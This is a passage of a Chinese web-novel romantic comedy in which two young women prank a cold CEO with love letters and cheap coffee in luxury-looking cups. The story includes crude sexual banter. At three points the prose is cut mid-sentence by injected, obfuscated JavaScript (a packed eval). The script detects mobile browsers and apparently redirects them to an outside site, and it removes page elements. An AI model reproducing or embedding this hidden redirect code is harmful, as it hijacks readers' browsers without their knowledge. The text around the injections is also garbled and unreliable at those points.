“相亲角。”路婉也不隐瞒,“隔壁区公园每周六都有活动,那些阿姨手里资源很多,改天砚奚你和我一起过去。” 路墨听说过赫赫有名的相亲角,那玩意儿还上过杂志。 其中,东区的摊位最为抢手,聚集的多是“高端资源”。 每个牌子都罗列了学历、职业、收入、资产等“硬性指标”。有些甚至会附上二维码,扫码就能看到更详细的个人资料和精修过的生活照。 西区则显得冷清许多,没有耀眼的头衔,没有令人咋舌的收入数字,只有简单直白的描述。 路墨想象了一下那个画面,秦砚奚那张冷峻的脸,被印在A4纸上,挂在公园的东区,底下还写着“海龟硕士,优质男青年,年薪过亿,征25岁以下温柔贤惠女性”。 旁边的大妈们热情地推销自家闺女,而她哥站在一旁,面无表情地被围观…… “噗——”路墨一个没憋住,笑喷了饭粒。 秦砚奚冷冽的眼刀立刻扫了过来。 要是真去成了,她绝对要拉着言书现场观摩,拍下这历史性时刻天天拿来嘲笑他。 “小墨说得对。”路婉一脸恨铁不成钢的表情,对秦砚奚说,“咱们家不需要联姻,要不是你对各集团千金都没有兴趣,我也不不至于去相亲角找女孩。砚奚啊,你就是找个扫大街的,只要你喜欢,我和你爸都认。” 路墨插嘴:“妈,扫大街的都和您差不多年纪。” 路婉:“年纪大点正好,可以照顾你哥。” 秦砚奚:“……” “咳,哥,我觉得吧…”路墨两颗眼珠转了下,转眼之间有了主意,“要不,你考虑一下书儿吧。” “谁?” “就是总给你写情书的姑娘啊!”路墨眨巴着眼睛,“我见过本人,漂亮得能当明星,绝对碾压你所有相亲对象。” 秦砚奚眸色一沉:“还没玩够?” 路墨暗自盘算着,肥水不流外人田。 万一秦砚奚将来娶个居心叵测的女人回来,把秦家家产卷跑了怎么办? 她可不想沦落到睡天桥底下的地步。 虽然秦砚奚在感情方面冷淡得像块冰,但架不住他有钱啊。要是言书能嫁给她哥,至少物质生活绝对有保障。 再不济,她们俩可以拿秦砚奚这条二十八岁老狗的钱去包养十八岁的小奶狗、小狼狗。 纸醉金迷,夜夜笙歌,何乐而不为? 路墨兴冲冲地把这个想法告诉了言书。 没想到在这一点上,言书倒是格外有道德。 言书:「别想,出轨的事我做不到。」 言书:「我只嫁给爱情,就你老板那德行,先不说是不是渣男,他就是脱光站在我面前我都湿不了。」 言书:「别忘了哈,我的要求,20厘米加,婴儿手臂粗,秦砚奚有吗?」 言书的豪言壮志撂在这,原则问题寸步不让。 只是她大概不会想到,一个半月后,她见到秦砚奚。秦砚奚光是站在哪儿,她就能颅内高潮。 看着言书的回复,路墨心虚地缩了缩脖子。 太猥琐了。 尤其她现在还在上班摸鱼,万一秦砚奚这个变态从监控看她聊天内容呢? 路墨鬼鬼祟祟地环顾四周,确认前台只有她一人后,才回复:「言言,求你别打嘴炮了!」 路墨:「你也不看看亚洲男性的平均尺寸!」 言书:「等等,我看到小说里写那玩意有点弧度的更容易让女人高.潮,男人真的会有弧度吗?」 路墨:「滚啊」 路墨放下手机,唉声叹气,发愁上哪去确认秦砚奚符不符合言言的标准。 路墨记得很清楚,从她十三岁开始,她哥就把“男女有别”四个字刻进DNA。 有一年夏天,她穿着新买的吊带裙蹦蹦跳跳去找秦砚奚看作业,结果迎面飞来一条毛巾:“穿好衣服再进来。” 去年冬天,她不小心把内衣晾在公用阳台。 当晚就收到秦砚奚的微信:「你的私人衣物放在自己房间。」 直接问肯定行不通,秦砚奚绝对会把她从28楼扔下去。况且他也不是那种会跟妹妹讨论隐私问题的人。 这时,前台电话突兀响起。 路墨手忙脚乱地把手机往桌上一丢,接通电话,瞬间切换成职业化的甜美嗓音:“您好,秦氏集团。” 江望知就是在这个时候走过来的。 他手里拿着一个精致的牛皮纸袋,里面装着秦砚奚亲笔写的那张“小姐,能不能先练字”的便条,还有一本崭新的字帖。 见路墨在接电话,他将纸袋放在她的工位上,离开时目光不经意间掠过她的手机屏幕。 江望知的眉毛微不可察地跳了一下。 他不是有意要看路墨的聊天记录,只是太凑巧,他一低头就看到了。 江望知面不改色地将纸袋往手机旁边推了推,恰到好处地遮住了最露骨的消息,然后装作若无其事地转身离开。 回到总裁办公室里,秦砚奚正伏案批阅文件。 见他进来,秦砚奚问:“东西送到了?” “送到了。”江望知站在桌前,“不过令妹很忙,正在和人讨论人体构造问题。” 秦砚奚抬眸:“什么?” “准确地说。”江望知清了清嗓子,在替路墨隐瞒还是向秦总告密之间,他毫不犹豫选择了后者,“是在讨论秦总您的尺寸和粗细。” 办公室的空气凝固。 秦砚奚缓缓放下钢笔,镜片后的眼神危险地眯起。 他第一反应是江望知在开玩笑,但跟随他多年的助理虽然有时不靠谱,但不会开逾矩的玩笑。 第二反应便是路墨又在搞什么幺蛾子,这丫头最近没时间管她,她是越发无法无天了。 江望知好整以暇地站在一旁,双手交叠置于身前,表面恭敬却掩饰不住眼中的兴味。 秦砚奚:“具体内容?” “这个……”江望知故作踟蹰,实则是在享受难得的看戏时刻,他添油加醋道,“令妹的好友言言正在和令妹确认您是否符合她的择偶标准,20厘米和婴儿手臂粗。” 说到这里,他实在憋不住笑意,稍稍停顿了一会儿,“哦,还要微微上翘,这三点缺一不可” 秦砚奚的脸色以肉眼可见的速度阴沉。 江望知眼观六路心情愉悦,捕捉到秦砚奚脸色的微妙变化,内心偷笑不止。 要知道,秦砚奚这种级别的男人,泰山崩于前不面不改色,冷静理智得像算法模型。能让他脸色变得这么精彩的,简直比百万年终奖还难得。 不过秦砚奚不愧是秦砚奚,情绪也就外泄了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180336|180926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬,立马收敛得滴水不漏。 江望知不知死活补充道:“秦总,我现在严重怀疑,您是不是曾和那个叫言言的女生有过一夜情?” “什么?” 江望知煞有其事地推测:“您睡了她,然后第二天像个没有责任心的渣男一样,留下一笔钱就狠心地离开了。可她念念不忘,始终走不出来,直到有一天,无意中遇到您,但又不敢直接认,只好旁敲侧击,通过令妹来确认……” 越说越扯淡。 江望知察觉到自己的推测漏洞百出,可他不想停,他的脑子现在正在源源不断地涌出剧情。 他应该去写小说,给秦砚奚做助理实在太屈才了。 秦砚奚脸色越来越黑,直到耐心到达临界点:“出去。” 江望知坚持要把话说完:“不然,那个女生为什么会那么清楚您的老二长什么样?” “滚出去。”这次秦砚奚连半点情绪都不掩饰了。 也不要一贯维持的风度了。 “好咧,秦总。”江望知笑着鞠了个躬,转身退场。 他在心底默默给自己点了个赞。 他是胡编乱造的,说的话真一半假一般,没想到,秦砚奚却破防了。 秦砚奚尺寸乐观他知晓,所以他不会真的微微上翘吧? * 言书最近忙成骆驼。 白天要去嫂子开的出版社兼职。 夜幕降临后,她还得在昏黄的台灯下咬着笔杆,对着《狂草书法速成》一笔一划地临摹。 言书的书桌上还摊着秦砚奚写的便条:「小姐,能不能先练字?」 她不得不承认,秦砚奚的字确实好看,工整得像是印刷出来的,连落笔的力道都透着一股绝对的威严。 但问题是,他写得好,别人就得写得好吗? 言书愤愤地摔下钢笔。 她从会写字起,字体就丑得惊天地泣鬼神。 小学一年级,语文老师拿着她的作业本:“退回去重写。” 初中时,她给暗恋的学长写情书,结果对方看完后一脸困惑地问:“这是阿拉伯文?” 高中时,语文老师批改到她的卷子时,据说特意去配了副老花镜,最后在评分栏写下:“建议重新学习书写。” 她又不是没努力过。 中学时偷偷练字帖,练到手指起茧,结果字迹反而更潦草。 有些人天生就是手残,就像有些人天生就写得出漂亮的字一样,哪有道理可讲? 而现在,秦砚奚居然让她练字,还是狂草。 言书抓起《狂草书法速成》,气得直哆嗦。 翻开第一页就是龙飞凤舞的“天道酬勤”,那字迹潇洒得像是喝醉了的书法家拿着拖把在纸上狂奔。 她连描红都描不利索,更别说自己写了。 “这玩意儿是人写的吗?”言书对着空气咆哮,咆哮完又蔫儿吧唧地趴在桌上,“我当初为什么要给他写情书啊。” 她懊恼地把脸埋进臂弯里,脑海中闪过无数个“如果当初”。 如果当初不是一时兴起想写情书告白,如果当初换个方式捉弄秦砚奚,如果当初…… 那现在她就不用像个可怜的小学生一样,深更半夜在这里跟这些该死的笔画较劲了。 言书之前想过放弃写情书,投秦砚奚所好。 因为她实在无从得知秦砚奚是否喜欢她写的情书,言书猜测,她辛辛苦苦写的情书最终归宿都是垃圾桶。 每一次问路墨秦砚奚看到情书后的反应,路墨的回复也都模棱两可。 只说秦总很喜欢,让她继续努力。 真假言书也没办法求证。 而且,秦砚奚喜欢的东西,什么毛笔字、水墨画、古董茶具、黑胶唱片,每一样都透着股老气横秋的精英做派。 但问题是,这些东西哪个不要钱? 让她为了追男人掏腰包,门都没有。 言书拿起手机,给路墨发消息:「我放弃了。狂草根本不是人类能掌握的技能,我要终止这个愚蠢的计划。」 8. 第八封 路墨迟迟没有回复。 言书把手机扔到桌上,整个人瘫进懒人沙发里。 而此时,秦家别墅灯火通明,厅堂辉煌。 路墨蹲在客厅的地毯上,用牙刷仔细清理雕花茶几的纹路。 “缝隙里有灰尘。” 秦砚奚倚着靠垫,手里捧着一本精装书,姿态闲适。但他根本没有读书,而是以优雅的方式,行使对路墨的无声折磨。 路墨咬紧牙关。 她实在想不通自己又哪里触怒她哥了。 难道就因为她晚饭时不小心把汤洒在了秦砚奚收藏的清代茶盏垫上? 一个杯垫而已。 秦砚奚这个完美主义者居然要她把整个客厅打扫到“一尘不染”的程度。 “砚奚。”路婉端着果盘欲言又止,“小墨今天上班也累了……” 在这个家,没人敢质疑秦砚奚的决定,哪怕他要求的是这种近乎刁难的事情。 “妈,您还记得她上次把您那套茶具当普通碗碟塞进洗碗机的事吗?” 路婉张了张嘴,保养得宜的脸上闪过一丝窘迫,“没关系的,小墨开心就好。” “还有上个月。”秦砚奚摘下眼镜,用丝绒布慢条斯理擦拭镜片,“她把您从拍卖会拍回来的苏绣靠垫当猫窝用。” 路婉:“……” “您把她宠坏了。”秦砚奚重新戴上眼镜,“现在不教,以后吃亏的是她自己。” 路墨内心绝望:“变态秦砚奚!” 她抓起牙刷,自暴自弃地刷着那道看不见的缝隙。 刷了一会儿,手机在口袋里震动。 路墨趁秦砚奚低头翻书的间隙,偷偷瞄了一眼,结果祸不单行,她看到言书要放弃计划。 她借口上洗手间,锁门后立刻回复言书:「言言,你不要放弃!想想我请你吃的两年饭,法餐日料随你点!你千万不能放弃,你知道我又被秦砚奚虐待了吗?」 路墨拍下自己通红的手指:「就因为我白天弄脏了一个破杯垫,秦砚奚让我用牙刷打扫他的办公室!」 发完还嫌不够,又补了段语音,语气愤懑到极致:“秦总当时就在旁边守着,这哪是总裁,你见过哪个总裁吃饱了撑的看员工打扫卫生!他就是个变态!我现在已经不是人了,是一个会喘气的清洁工具!” 言书看到路墨通红的手和她明显哭过的眼睛,十分心疼。 路墨平时最要面子,看来真的被逼到绝境了。 言书妥协:「那我再坚持一下」 说完,又担忧起自己的进展:「但我得练字,暂时送不了情书。时间久了秦砚奚会不会忘了我?」 路墨知道秦砚奚让言书练狂草的动机。 字体千千万,他偏偏选了狂草,这摆明了想要折磨言书。 八成不是出于真心想让言书练字,而是想用这种方式打发她。 至少,在这段时间里,秦砚奚可以清静几天。 这一点路墨心知肚明。 她想了想,权衡利弊,回了一句:「秦总爱喝美式,你可以每天给他送咖啡,刷一下存在感。」 言书发过去一个省略号:「……」 路墨紧接着发来细节说明:「秦总只喝黑咖啡,不加糖不加奶,豆子要现磨的。」 她的消息后面还跟着一个咖啡豆的emoji:「最好是瑰夏,他最讨厌酸味重的豆子。」 言书的手指在屏幕上悬了半天,没忍住在心里吐槽:秦砚奚以为他是谁啊?咖啡鉴赏家吗?瑰夏?那得多少钱一杯? 给秦砚奚送咖啡? 要现磨、精准配比、手工制作? 言书光是想象那个过程就头皮发麻。 她连速溶咖啡都懒得泡,更别说要认真研究什么烘焙程度、豆种原产地这些高端信息。 “不过……” 话又说回来,如果她长时间不出现,以秦砚奚贵人多忘事的性格,一定会把她忘得一干二净。 毕竟听路墨说,觊觎秦家家产的异性数不胜数,每天变着花样往秦砚奚身边凑的不在少数。 想到这里,言书心里涌上一阵烦躁。 要是秦砚奚真和别的女人在一起了,不仅她之前的努力都白费,而且还损失了两年饭,更重要的是又有一个无辜的女生上当受骗。 还有她熬夜练字练到手腕抽筋的日子。 这算什么? 思及此,言书一个鲤鱼打挺坐起来,抓起手机开始搜索“精品咖啡价格”。 屏幕上跳出来的数字让她倒吸一口凉气。 一杯正宗的瑰夏咖啡居然要三位数以上。 这哪是喝咖啡,分明是喝金子! “不行不行……”言书摇头。 秦砚奚不配。 苦恼之际,屏幕弹出一条推送广告:咖啡狂欢节,明日特价美式2.9元,提前抢购! 言书眼睛一亮。 她点开详情,看到最近几大咖啡品牌正在打价格战,每天都有不同力度的促销活动。 一个绝妙的主意在她脑海中成形。 言书在购物网站上搜索“高档咖啡杯”。 屏幕跳出一家名为“纸悦咖啡杯”的私人店铺,主页上写着“专业定制,品质保证”,并且附带联系方式。 言书看中一款纯白的纸杯,杯身金色的英文字母看起来很洋气,要是能修改一下小细节就更完美了。 加上微信好友后。 言书点开客服对话框:「我想定制纸杯,请问今天下单明天能到货吗?非常着急!」 小鱼:「亲,我们默认发中通快递哦,省内2-3天,省外3-5天~」 言书:「小姐姐,求求你了,我真的特别特别着急!」 她发送几个哭脸表情:「我男朋友后天生日,我准备了一个月的惊喜,就差这个杯子了。」 小鱼回复一个疑惑的表情:「亲,生日送纸杯?」 言书继续编:「我男朋友爱喝咖啡,超级挑剔的那种。我偷偷学了一个月的手冲咖啡,想在他生日那天用漂亮的杯子给他一个惊喜。」 为了让故事更感人,言书补充道:「我每天凌晨四点起床练习,就为了能在他生日那天冲出一杯完美的咖啡...」 对话框显示“对方正在输入...”持续了足足半分钟,最后小鱼回复:「真的吗?好浪漫啊...」 很好,很敷衍的回复。 言书乘胜追击:「真的,你看我练习时烫伤的手。」 她把路墨打扫卫生时通红的手照转发给小鱼:「但我一点都不后悔,就想看他惊喜的表情」 小鱼捧场:「天啊,你也太用心了吧,我帮你问问。」 言书:「谢谢小姐姐,你真是我的救命恩人,我男朋友要是知道有人这么帮我们,一定会很感动的!」 五分钟后。 小鱼:「亲,已经获得主管特批,可以给您发顺丰特快,明天上午加急生产,后天就能到,不过运费要补差价哦~」 言书刚要欢呼,看到“补差价”三个字,立刻又蔫了。 顺丰特快?那得多少钱啊! 言书的原则就是钱要花在刀刃上,比如新出的口红,限量的盲盒。 至于男人?想都别想。 言书眼珠一转,计上心来:「小姐姐。」 言书:「能不能…便宜一点啊?我这一个月为了给男朋友准备惊喜,钱都花得差不多了…」 小鱼:「啊?可是这已经是成本价了…」 言书开启哭穷模式:「我知道很为难你,但我真的把积蓄都花在买咖啡豆和器具上了。你看这样行不行,我多买一些?」 * 周五清晨。 天还没完全亮,言书就醒了。 她利落地翻身下床,一气呵成地完成洗漱更衣。 咖啡早就在线上下单,言书特意选择了距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180337|180926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离秦氏集团最近的一家门店自提,为的就是确保咖啡的新鲜度。 六月的天一早就热,街上蒸腾着薄薄的热气。 为了防止冰块融化、味道变淡,言书只好辛苦自己跑一趟。 要问她为什么不买速溶咖啡,言书认为速溶和店里的咖啡还是有很大的区别的。 她虽然想敷衍了事,但没想过这么敷衍。 等店员做好咖啡,言书立刻把它倒入自己前天加急下单的网红纸杯里。 杯子通体采用蛋壳白的磨砂材质,杯壁微厚,手感绵柔,外表有一圈素雅的金色描边。 杯身正中央有一行浮雕金字母:“HandcraftedBrew”,配合下方的小字“fortheoneswhodeserveit”。 光看外表,就像是某家只做私享订制的独立咖啡品牌。 杯盖也是经过精挑细选的。 雾黑防漏设计,盖口细窄,和市面上廉价咖啡连锁店使用的塑料盖子天差地别,盖在杯上毫无缝隙,看上去贵得离谱。 咖啡倒入杯中后,言书调整位置,确保杯口处金色字母正对人眼视线角度,然后将杯子小心放入硬质牛皮袋子,再贴上一张自己打印的小标签:“Singleorigin.Justforyou.” 收拾妥当,她拎着袋子站在秦氏集团对面街口,等路墨过来。 几分钟后,远处传来高跟鞋踩在人行道上的清脆响声。 路墨看到言书,朝她挥了挥手。 她走到言书面前,抹了一把脸上的汗,抱怨道:“言言,最近天气好热,你每天过来送咖啡也不是个办法。” 言书把咖啡交给路墨,回:“那能怎么办呢?不是要给你报仇吗?” 路墨接过,“要不言言,你亲自去送吧。” 言书递给她一个“你也好意思”的表情。 文笔拙劣的情书、价值2.9元的特价咖啡、批发的杯子,哪一样经得起秦砚奚锐眼的审视? 路墨细想也觉得不妥,要是让言书亲手送咖啡,秦砚奚一定拒收,她现在可还靠着一层薄薄的血缘关系强迫秦砚奚收下。 她想了想:“要不以后我买咖啡吧,不能让你破费。” 言书不假思索拒绝:“不行。” 路墨是个富二代,花钱大手大脚,要真让她买,绝对会买不下三位数的精品咖啡。 这岂不是便宜了秦砚奚? 言书转移话题:“看看,咖啡怎么样,是我自己做的,我是不是厉害?我给它取名为‘哎呀,不小心又喝了一杯顶我三天工资的手冲咖啡’。” 路墨:“叫什么?你再说一遍。” 言书:“哎呀,不小心又喝了一杯顶我三天工资的手冲咖啡。” 路墨嘴角抽搐:“额,你自己做的?” 言书轻挑眉梢:“当然,我亲手调的。” “哇哦。”路墨主动忽略咖啡的名字,“言言,想不到你真的会做咖啡,而且这包装,你看看,多么有质感,还贴了标签,这肯定很好喝吧?” 言书浅笑不语,姿态有点高深莫测的味道。 在路墨崇拜的眼神中,她的虚荣心得到了无尚的满足。 “言言。”路墨挽着言书的手撒娇,“明天也给我带一杯呗?我也想尝尝你亲手做的咖啡。” “你平时不是不喝咖啡?” 路墨摆出一副见糖眼巴巴等分的小狗模样:“别人做的我不喝,你做的就想喝。” “多大点事。”言书将耳边碎发拨到耳后,豪气道,“你想喝,明天我带。” “言言真好。” 路墨不会知道,所谓“手冲精制”,不过是言书将成品咖啡倒进杯里那三秒钟的演出。 真正让她花时间的,是如何把2.9元的商品包装出290元的质感。 言书目送路墨离开。 有时候欺负一下路墨,也挺好玩的。 9. 第九封 路墨踩着高跟鞋,手里捧着言书精心包装的咖啡,大摇大摆地穿过公司走廊,前往总裁办公室。 自从公司传出她和秦砚奚的“绯闻”后,她一开始还试图解释自己和秦总清清白白,后来在汪清岚的刺激下,她开始作妖让流言四起。 反正,顶着“秦总女朋友”的名头,利远远大于弊,她在公司里横着走都没人敢拦。 谁让财务部部长汪清岚喜欢秦砚奚。 路墨第一眼见到汪清岚就讨厌她。 那个女人一副表里不一的精英做派,背地里处处针对公司漂亮的女生,还总在秦砚奚面前装温柔体贴。 路墨记得自己第一天来秦氏集团报到时的场景。 汪清岚看见前台陌生的面孔,踩着十厘米的细高跟,一步一步朝她走来,用只有两个人能听见的声音对路墨说:“秦氏集团不是游乐场,有些人——” 她顿了顿,意有所指地扫过路墨精致的妆容,“不该肖想的,最好连念头都不要有。” 汪清岚说完便直起身,伸手拍了拍路墨的肩膀,声音恢复正常的音量:“欢迎加入秦氏,希望你能尽快适应。” 这算什么?下马威? 路墨反应迟钝,等汪清岚离开后,才知道她口中的“不该肖想的人”,指的就是秦砚奚。 给路墨气乐了。 她?肖想秦砚奚? 如果不是当时她心思单纯,没听出她话里有话,不然她准把这话原模原样还给汪清岚,真当自己是总裁夫人了? 正是从那天起,她和汪清岚之间的梁子就结下了。 这几天汪清岚出差,路墨感觉整个公司的空气都清新了不少。 “咚咚咚——”路墨象征性地隔空敲了两下门,没等秦砚奚回应,就直接推门而入。 秦砚奚被她打扰,不悦地拧眉:“进来不会敲门?” “敲了呀。”路墨理直气壮地走过去,把咖啡往他面前一放,“言言给你的。” 秦砚奚抬眸看她:“言言?” 路墨心里“咯噔”一下。 糟糕,说漏嘴了。 她脑子飞速运转,立刻改口:“哦,那个女生说她叫燕燕,燕子的燕。” 秦砚奚没说话,盯着她看。 路墨被他看得心虚,干脆破罐子破摔:“哎呀,你别管她叫什么,燕燕亲手给你做咖啡,你尝一下,不准扔掉,这可是她的心意。” 秦砚奚把咖啡推到一旁:“你是不是不长教训?我说过,不要再给我收这些乱七八糟的东西。” “什么叫乱七八糟?”路墨一听就炸毛,按住咖啡杯,不让他推走,“燕燕辛辛苦苦做的,你连尝都不尝就嫌弃?秦砚奚,你这个冷漠无情的男人!” 秦砚奚合上文件:“路墨,注意你的态度。” “我态度怎么了?”路墨越想越气,干脆把昨天的账一起算上,“你昨天让我用牙刷打扫卫生,今天又对燕燕的心意不屑一顾,你是不是觉得你很牛逼?” 秦砚奚面无表情地看着她:“说完了?” “没有。”路墨双手撑在秦砚奚办公桌上,铁了心让他喝咖啡,“我告诉你,你别以为你是总裁就了不起,燕燕喜欢你,给你送咖啡,你不领情就算了,还摆出一副高高在上的样子,你以为你是谁啊?” 爱是常觉心疼。 路墨觉得自己有拉拉的嫌疑。 因为她喜欢言书胜过秦砚奚,她只要一想到言书亲手做的咖啡被她不解风情、冷漠无情的哥哥倒在洗手池,心里就会涌起一股无名火。 所以,秦砚奚不喝也得喝。 他要是不喝,她就按着他的头逼他喝。 大不了自己再次被罚。 大不了秦砚奚让她用牙刷把马桶刷干净。 路墨越想越郁闷,秦砚奚还是人吗?正常人怎么能想到让人用牙刷打扫卫生? 一个没忍住,她骂出声:“靠!” 秦砚奚的眼神温度冷却:“路墨,适可而止。” “我就不!”路墨彻底豁出去了,“你知不知道,公司里多少人背地里说你冷血?也只有汪清岚——” 她及时刹住,差点把“汪清岚喜欢你”说出口。 秦砚奚问:“汪清岚怎么了?” “没怎么!”路墨别开脸,“总之,这杯咖啡你必须喝!不然我就告诉爸你欺负我,爸爸一定会飞回来教训你。” 秦砚奚盯着她看了两秒,抬手揉了揉眉心,语气里带了一丝疲惫和无奈:“……先放下。” 路墨一愣,她都做好赖在秦砚奚办公室不走的准备了。 没想到铁面无情的秦砚奚竟然会让步? 这真的是她哥哥吗? 路墨狐疑地看了秦砚奚一眼,确认他不是在敷衍自己后,才稍稍收敛了怒气,但还是不放心地补了一句:“不准偷偷倒掉。” 秦砚奚只是淡淡地“嗯”了一声。 路墨这才满意地直起身,转身往外走,临走前不忘回头警告:“我待会儿会来检查的。” 等路墨走后,秦砚奚目视精美的咖啡杯,愁绪万千。 路墨和言书才消停了一天,又开始整活。 他不明白路墨为什么会和一个与他素不相识的女生联系起来捉弄他。 秦砚奚的记忆不错,他能记住每一个与他打过交道的人的名字、职位,甚至某些习惯性的特征。 如果言书真的和他有过交集,他不可能没有印象。 他不仅没见过言书,更没有江望知说的“一夜情。” 他也可以确定言书并不喜欢他,如果真的喜欢他,为什么不亲自出现? 情书要转交,咖啡要代送,连名字都是路墨说漏嘴他才知晓。 这世上哪有这样的喜欢? 可如果不喜欢。 那她和路墨这一连串的举动,又是为了什么? 只是恶作剧? 叫言书的女生,还有他胳膊肘往外拐的妹妹,到底在图谋什么? 总不能是大四太闲找乐子? 秦砚奚至今记得自己大四时的状态。 白天实习,晚上赶毕业论文,睡觉都很奢侈。 哪像现在的年轻人,还有闲情逸致搞这些无聊把戏。 秦砚奚很头疼。 在商场上,他能看穿对手的底牌;在谈判桌上,他能精准预判每个变数。 可面对这两个二十出头的小姑娘,他却像个解不开数学题的中学生,连她们最基本的动机都参不透。 …… 江望知准时进办公室给秦砚奚送咖啡。 “秦总,您的咖——”他话还没说完,就看到秦砚奚桌上已经有一杯包装精美的咖啡。 江望知之挑了挑眉,打趣道:“看来以后都不需要我咯。” 秦砚奚头也不抬,手指在键盘上敲击,声音冷淡:“放那儿吧。” 江望知走近几步,将咖啡放在桌角,视线一个劲地往言书送的咖啡上蹭。 金色的字母泛着低调的奢华感,杯盖严丝合缝,一看就不是普通咖啡店的出品的咖啡。 “这杯子挺贵的吧?”江望知好奇问道。 秦砚奚:“你喝了。” “秦总您为什么不喝?” “我不喝冰的。” 江望知差点忘了,秦砚奚确实不喝冰咖啡。 他习惯喝热美式,不加糖不加奶。 “那这杯……”江望知迟疑,“不好吧?这要是让送咖啡的女生知道了,岂不是要伤心?” 秦砚奚面无表情:“你喝了。” 江望知:“……” 他张了张嘴,想拒绝,但秦砚奚的眼神明明白白写着:要么喝,要么倒。 江望知认命地拿起咖啡,干笑两声:“行,那我不客气了?” 秦砚奚已经重新低头看文件。 江望知端着咖啡走出办公室,心里默默叹了口气。 还是他比较有风度啊,舍不得女生的心意被践踏。 江望知其实不喜欢喝咖啡。 准确地说,他从来没喝过黑咖啡。平时在公司,他要么喝茶,要么喝白水,咖啡这种东西,他觉得太苦,向来敬而远之。 所以江望知并没有品出咖啡的口感和好坏。 放下杯子后,他又有点愧疚。 女生辛辛苦苦做的咖啡,最后进了他的肚子。 想到这里,江望知拿起手机,给秦砚奚发了条消息:「秦总,咖啡喝完了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180338|180926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不得不说,这杯咖啡确实很特别。入口微苦,但回味甘甜,果香浓郁,层次分明,绝对是精心挑选的豆子,手冲的技艺也很专业。您不尝尝,真的有点可惜。」 字里行间都在传达一个意思:秦总,您不喝真是太可惜了。 * 周五,言书如约在街角等路墨,手里拎着两杯咖啡。 路墨小跑着过来,“言言,你真好,你真的给我做咖啡了诶!” 言书点点头:“昨天那杯咖啡,秦砚奚怎么说?” 路墨回忆一下昨晚的场景。 “哥,咖啡怎么样?” 秦砚奚:“还行。” 路墨不依不饶:“什么叫还行?燕燕辛辛苦苦做的,你好歹给个具体评价!” 秦砚奚评价:“入口微苦,但回味甘甜,果香浓郁,层次分明,绝对是精心挑选的豆子,手冲的技艺也很专业。” 路墨当时就震惊了。 她哥什么时候这么会夸了? “真的假的?”言书听完,瞪大眼睛,一脸难以置信,“他真这么说的?” 路墨点头:“千真万确!” 言书:“……” 她低头看手里的咖啡,2.9元的库迪特价美式,陷入了沉思。 是咖啡的问题,还是秦砚奚的问题? 2.9元的咖啡,怎么被他形容得像是什么顶级手冲瑰夏? 言书想不通,索性不想了,把两杯咖啡都塞给路墨:“喏,今天两杯,左边那杯是你的。” 路墨接过,好奇问:“为什么特意强调左边这杯?” 言书面不改色:“别问。你听我的话就行。” 因为今天的活动券只有一张,左边那杯是原价买的,没有折扣,虽说两杯味道一样,左边那杯更贵。 路墨很快放弃纠结,言书说什么就是什么。她拎着两杯咖啡,对言书说:“言言,我昨晚深思熟虑。” 言书:“嗯?” 路墨一脸认真:“我觉得你没必要浪费时间给秦砚奚做咖啡了。 言书:“……?” 路墨继续道:“他不配,你每天给秦砚奚做咖啡,简直就是浪费你的时间精力。我昨天刷到咖啡特价推送,突然想到,你随便找个纸杯,买杯最便宜的咖啡倒进去就行,反正秦砚奚也不知道。” 言书:“……” 路墨越说越觉得自己聪明:“这样你也不用早起。” 每天逼迫秦砚奚喝咖啡有点不太现实,万一哪天秦砚奚发怒,她挨骂倒是小事,言言亲手做的咖啡被糟蹋可是大事。 但买的咖啡就不一样了。 要是倒了,她也不用心疼言言,反正成本才几块钱。 言书全程憋笑。 路墨说完,一副“你快夸我”的表情注视言书。 言书一本正经地拍了拍路墨的肩膀,郑重其事道:“嗯……有道理,小墨你真聪明,我怎么就没有想到呢。” “别夸,我会膨胀。” 路墨见言书被说服了,嘚瑟地仰起头:“那就这么定了,以后你就买最便宜的,别浪费精力了,钱我给你报销。” “我会考虑的。” 路墨心满意足地拎着两杯咖啡走了。 言书在她转身后终于忍不住笑出了声。 路墨啊路墨,你不愧是我的好朋友, 但可惜,秦砚奚喝的那杯,本就是买的。 言书勾了勾嘴角,心想:“明天换别的试试,看秦砚奚还能编出什么高级评价。” 路墨明晃晃地走进总裁办公室。 秦砚奚最近到公司都很早,她进去的时候秦砚奚已经开始办公了。 看到路墨笑得像朵花一样,大摇大摆地走进办公室,秦砚奚嫌弃道:“又来干什么?” 路墨心情好,不和他计较,“哥,给你送咖啡,你今天也要好好品鉴呢。” 秦砚奚:“放下。” 路墨乖乖把咖啡放下一旁,“好咧。” “没事就出去。” “对了哥,我最近每天都想喝酸奶,你给我报销一下呗,每天9.9,一个月工作二十二天,总共两百二,拿来吧你。” “……”秦砚奚,“滚出去。” 10. 第十封 